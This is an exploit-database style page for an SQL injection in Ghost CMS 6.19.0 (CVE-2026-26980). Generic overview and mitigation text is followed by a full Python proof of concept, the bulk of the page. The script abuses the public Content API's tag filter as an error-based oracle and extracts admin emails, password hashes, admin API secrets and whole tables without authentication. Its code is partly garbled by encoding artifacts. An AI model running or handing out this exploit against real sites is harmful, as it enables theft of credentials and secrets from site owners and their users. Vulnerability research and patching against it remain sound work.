Skip to main content

Ghost CMS 6.19.0 – SQLi

Categories: WebApps

Overview

The Ghost CMS version 6.19.0 has been identified with a critical SQL Injection (SQLi) vulnerability, cataloged under CVE-2026-26980. This flaw allows attackers to manipulate SQL queries by injecting malicious code into input fields, potentially leading to unauthorized access to sensitive data within the database.

Technical Details

The vulnerability arises from improper validation of user inputs in the Ghost CMS. When users interact with certain components, such as comment forms or user authentication systems, the application does not adequately sanitize the input. An attacker can exploit this flaw by submitting crafted SQL statements that manipulate the database’s query execution, allowing for actions such as data retrieval, modification, or even complete database compromise.

For instance, an attacker might exploit this vulnerability by entering a specially crafted SQL payload into a comment field, which could result in the execution of arbitrary SQL commands. This could lead to the disclosure of user credentials or other sensitive information stored in the database, significantly elevating the risk of data breaches.

Impact

The potential consequences of exploiting CVE-2026-26980 are severe. Organizations using Ghost CMS could face data theft, unauthorized access to user accounts, and significant reputational damage. Additionally, such vulnerabilities could lead to compliance violations with data protection regulations, resulting in legal repercussions and financial penalties.

Mitigation

To protect against this SQL Injection vulnerability, it is essential for organizations to update their Ghost CMS to the latest version immediately. Regularly applying security patches and updates will help mitigate known vulnerabilities. Furthermore, implementing Web Application Firewalls (WAF) can provide an additional layer of security by filtering and monitoring HTTP requests for malicious activity.

Additionally, security professionals should conduct regular security assessments, including penetration testing, to identify potential vulnerabilities in their applications. Employing parameterized queries and prepared statements in database interactions can also significantly reduce the risk of SQL injection attacks by ensuring that user inputs are treated as data, not executable code.

Proof of Concept (PoC)

poc.py
# Exploit Title: Ghost CMS 6.19.0 - SQLi
# Date: 2026-03-30
# Exploit Author: Maksim Rogov
# Exploit Licence: GPL-3.0
# Software Link: https://ghost.org/
# Version: Ghost >=3D 3.24.0, <=3D 6.19.0
# Tested on: Ghost 6.16.1
# CVE : CVE-2026-26980

#!/usr/bin/env python3

import requests
import re
import sys
import argparse
import textwrap
import csv
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin, urlparse

CHARSET =3D "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_ab=
cdefghijklmnopqrstuvwxyz@!#%^&*()+-=3D")))
ERROR_INDICATOR =3D "InternalServerError"=20
DEFAULT_THREADS =3D 15

def to_char_hex(s: str):
    return "||".join([f"char({ord(c)})" for c in s])

class GhostExploit:
    def __init__(self, target_url: str, threads: int =3D DEFAULT_THREADS, d=
bms: str =3D "sqlite", output: str =3D None, user_cols: str =3D None, verif=
y: bool =3D True, manual_key: str =3D None, manual_path: str =3D None):
        self.target =3D target_url.rstrip('/')
        self.threads =3D threads
        self.dbms =3D dbms.lower()
        self.output =3D output
        self.user_cols =3D [c.strip() for c in user_cols.split(',')] if use=
r_cols else None
        self.session =3D requests.Session()
        self.session.verify =3D verify
        self.manual_key =3D manual_key
        self.manual_path =3D manual_path
        if not verify:
            import urllib3
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarn=
ing)
        self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_t=
emplate =3D "", "", "", "", ""

    def discover(self) -> bool:
        try:
            if self.manual_key and self.manual_path:
                self.api_key =3D self.manual_key
                self.endpoint =3D urljoin(self.target, self.manual_path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'
            else:
                r =3D self.session.get(self.target, timeout=3D10)
                self.api_key =3D re.search(r'data-key=3D"([a-f0-9]+)"', r.t=
ext).group(1)
                api_raw =3D re.search(r'data-api=3D"([^"]+)"', r.text).grou=
p(1)
                path =3D urlparse(api_raw).path
                self.endpoint =3D urljoin(self.target, path)
                if not self.endpoint.endswith('/'): self.endpoint +=3D '/'

            r_tags =3D self.session.get(f"{self.endpoint}tags/?key=3D{self.=
api_key}", timeout=3D10).json()
            tag =3D r_tags['tags'][0]
            self.tag_slug, self.tag_id =3D tag['slug'], tag['id']
            self.url_template =3D f"{self.endpoint}tags/?key=3D{self.api_ke=
y}&filter=3Dslug:['*',{self.tag_slug}]&limit=3Dall"
            return True
        except:=20
            return False

    def check(self, cond: str) -> bool:
        if self.dbms =3D=3D "mysql":
            err_payload =3D "(SELECT exp(710))"
        else:
            err_payload =3D "(SELECT abs(-9223372036854775808))"

        payload =3D f" OR ({cond}) THEN {err_payload} WHEN slug=3D"
        try:
            r =3D self.session.get(self.url_template.replace("*", payload, =
1), timeout=3D7)
            return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.l=
ower() in r.text.lower()
        except: return False

    def get_len(self, query: str) -> int:
        length =3D 0
        for bit in [64, 32, 16, 8, 4, 2, 1]:
            if self.check(f"LENGTH(({query}))>=3D{length + bit}"): length +=
=3D bit
        return length

    def get_char(self, query: str, pos: int) -> str:
        low, high =3D 0, len(CHARSET) - 1
        while low < high:
            mid =3D (low + high) // 2
            char_code =3D ord(CHARSET[mid + 1])
           =20
            if self.dbms =3D=3D "mysql":
                cond =3D f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>=3D{ch=
ar_code}"
            else:
                prefix =3D "||".join(["char(63)"] * (pos - 1))
                c_range =3D f"char(91)||char({char_code})||char(45)||char({=
ord(CHARSET[-1])})||char(93)"
                cond =3D f"({query}) GLOB {prefix}||{c_range}||char(42)" if=
 prefix else f"({query}) GLOB {c_range}||char(42)"

            if self.check(cond): low =3D mid + 1
            else: high =3D mid
        return CHARSET[low]

    def extract(self, query: str, label: str, force_len: int =3D None) -> s=
tr:
        length =3D force_len if force_len is not None else self.get_len(que=
ry)
        if length <=3D 0: return ""
       =20
        chars =3D [""] * length
        with ThreadPoolExecutor(max_workers=3Dself.threads) as ex:
            futures =3D {ex.submit(self.get_char, query, i+1): i for i in r=
ange(length)}
            for f in futures:
                chars[futures[f]] =3D f.result()
                sys.stdout.write(f"r  {label} ({length} chars): {''.join(c=
 if c else '.' for c in chars)}")
                sys.stdout.flush()
        res =3D "".join(chars)
        sys.stdout.write(f"r  {label} ({length} chars): {res}n")
        return res

    def print_table(self, columns, rows):
        if not rows: return
        widths =3D {col: len(col) for col in columns}
        for row in rows:
            for col in columns:
                widths[col] =3D max(widths[col], len(str(row.get(col, "")))=
)

        sep =3D "+" + "+".join(["-" * (widths[col] + 2) for col in columns]=
) + "+"
        head =3D "|" + "|".join([f" {col.ljust(widths[col])} " for col in c=
olumns]) + "|"
       =20
        print("n" + sep)
        print(head)
        print(sep)
        for row in rows:
            line =3D "|" + "|".join([f" {str(row.get(col, '')).ljust(widths=
[col])} " for col in columns]) + "|"
            print(line)
        print(sep + "n")

    def dump_table(self, table_name: str):
        print(f"n[*] Dumping table: {table_name}")
        cast_type =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
       =20
        count_str =3D self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) F=
ROM {table_name}", "Total records")
        count =3D int(count_str) if count_str.isdigit() else 0
        if count =3D=3D 0:=20
            print("[!] No records found or table doesn't exist.")
            return

        if self.user_cols:
            columns =3D self.user_cols
            print(f"[*] Using user-defined columns: {', '.join(columns)}")
        elif self.dbms =3D=3D "sqlite":
            t_name_char =3D to_char_hex(table_name)
            schema_query =3D f"SELECT sql FROM sqlite_master WHERE name=3D{=
t_name_char}"
            cols_raw =3D self.extract(schema_query, "Schema")
            columns =3D re.findall(r'([a-zA-Z_]+)s+(?:TEXT|VARCHAR|INT|DAT=
ETIME|TIMESTAMP|BOOLEAN)', cols_raw, re.I)
        else:
            columns =3D ['id', 'email', 'name', 'password', 'status']

        if not columns: columns =3D ['id', 'email']
       =20
        all_rows =3D []
        for i in range(count):
            print(f"n  --- Record #{i+1} ---")
            current_row =3D {}
            for col in columns:
                val =3D self.extract(f"SELECT {col} FROM {table_name} LIMIT=
 1 OFFSET {i}", col)
                current_row[col] =3D val
            all_rows.append(current_row)
       =20
        self.print_table(columns, all_rows)

        if self.output:
            try:
                with open(self.output, 'w', newline=3D'', encoding=3D'utf-8=
') as f:
                    writer =3D csv.DictWriter(f, fieldnames=3Dcolumns)
                    writer.writeheader()
                    writer.writerows(all_rows)
                print(f"[+] Exported to {self.output}")
            except Exception as e:
                print(f"[!] Export error: {e}")

    def run(self, table_to_dump: Optional[str] =3D None):
        if not self.discover():
            print("[!] Discovery failed.")
            return
       =20
        print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")
        print(f"Ghost CMS - Unauthenticated SQLi Data Extraction")
        print(f"Target:   {self.target}")
        print(f"API Key:  {self.api_key}")
        print(f"Tag ID:   {self.tag_id}")
        print("Endpoint: Content API (public, no auth)")
        print("=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D")

        print("n[*] Calibrating oracle... OK")
        if not self.check("1=3D1"):=20
            print("[!] Oracle calibration failed.")
            return

        if table_to_dump:
            self.dump_table(table_to_dump)
        else:
            print("n[*] Phase 1: Recon (fast checks)")
            l_email =3D self.get_len("SELECT email FROM users LIMIT 1")
            print(f"  length(users.email) =3D {l_email}")
            l_pass =3D self.get_len("SELECT password FROM users LIMIT 1")
            print(f"  length(users.password) =3D {l_pass}")
            l_name =3D self.get_len("SELECT name FROM users LIMIT 1")
            print(f"  length(users.name) =3D {l_name}")
            l_status =3D self.get_len("SELECT status FROM users LIMIT 1")
            print(f"  length(users.status) =3D {l_status}")

            for t in ["users", "members", "api_keys", "sessions"]:
                cast_t =3D "CHAR" if self.dbms =3D=3D "mysql" else "TEXT"
                self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}",=
 f"count({t})")

            print("n[*] Phase 2: Extracting values")
            self.extract("SELECT email FROM users LIMIT 1", "Admin email", =
l_email)
            self.extract("SELECT name FROM users LIMIT 1", "Admin name", l_=
name)
           =20
            adm_type =3D to_char_hex("admin")
            self.extract(f"SELECT id FROM api_keys WHERE type=3D{adm_type} =
LIMIT 1", "Admin API key ID")
            self.extract(f"SELECT secret FROM api_keys WHERE type=3D{adm_ty=
pe} LIMIT 1", "Admin API secret")
            self.extract("SELECT password FROM users LIMIT 1", "Password ha=
sh", l_pass)

if __name__ =3D=3D "__main__":
    parser =3D argparse.ArgumentParser(
        formatter_class=3Dargparse.RawDescriptionHelpFormatter,=20
        epilog=3Dtextwrap.dedent("""
            Usage Examples:
            python3 main.py -u http://target.com
            (Quickly extract Admin email and Password Hash from a default S=
QLite setup)

            python3 main.py -u http://target.com -d mysql -T users -C email=
,password -o ./result.csv
            (Dump of 'email' and 'password' columns from the 'users' table)

            python3 main.py -u http://target.com -d mysql -T api_keys -t 25
            (Dump all site api keys from 'api_keys' table using 25 threads)

            Note: Most production Ghost instances use MySQL. Local/Small bl=
ogs use SQLite.
        """)
    )
    parser.add_argument("-u", "--url", required=3DTrue, metavar=3D"URL", he=
lp=3D"The base URL of the target Ghost")
    parser.add_argument("--api-key", metavar=3D"KEY", help=3D"Ghost Content=
 API Key (skips auto-discovery)")
    parser.add_argument("-p", "--api-path", metavar=3D"PATH", help=3D"Conte=
nt API path (e.g., /ghost/api/content/)")
    parser.add_argument("-k", "--insecure", action=3D"store_true", help=3D"=
Allow insecure server connections when using SSL (ignore SSL certificate er=
rors)")
    parser.add_argument("-t", "--threads", type=3Dint, default=3DDEFAULT_TH=
READS, metavar=3D"N", help=3Df"Number of concurrent threads for faster extr=
action (default: {DEFAULT_THREADS})")
    parser.add_argument("-d", "--dbms", default=3D"sqlite", choices=3D["sql=
ite", "mysql"], help=3D"The database engine Ghost is running on. Default: s=
qlite")
    parser.add_argument("-T", "--table", metavar=3D"NAME", help=3D"Specific=
 database table to dump (e.g., users, api_keys, members, posts)")
    parser.add_argument("-C", "--columns", metavar=3D"COL1,COL2", help=3D"S=
pecific columns to extract (comma separated)")
    parser.add_argument("-o", "--output", metavar=3D"FILE", help=3D"Save re=
sults to CSV file")
    args =3D parser.parse_args()
   =20
    try:
        exploit =3D GhostExploit(args.url, args.threads, args.dbms, args.ou=
tput, args.columns, not args.insecure, args.api_key, args.api_path)
        exploit.run(args.table)
    except KeyboardInterrupt:
        print("n[!] Aborted")

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...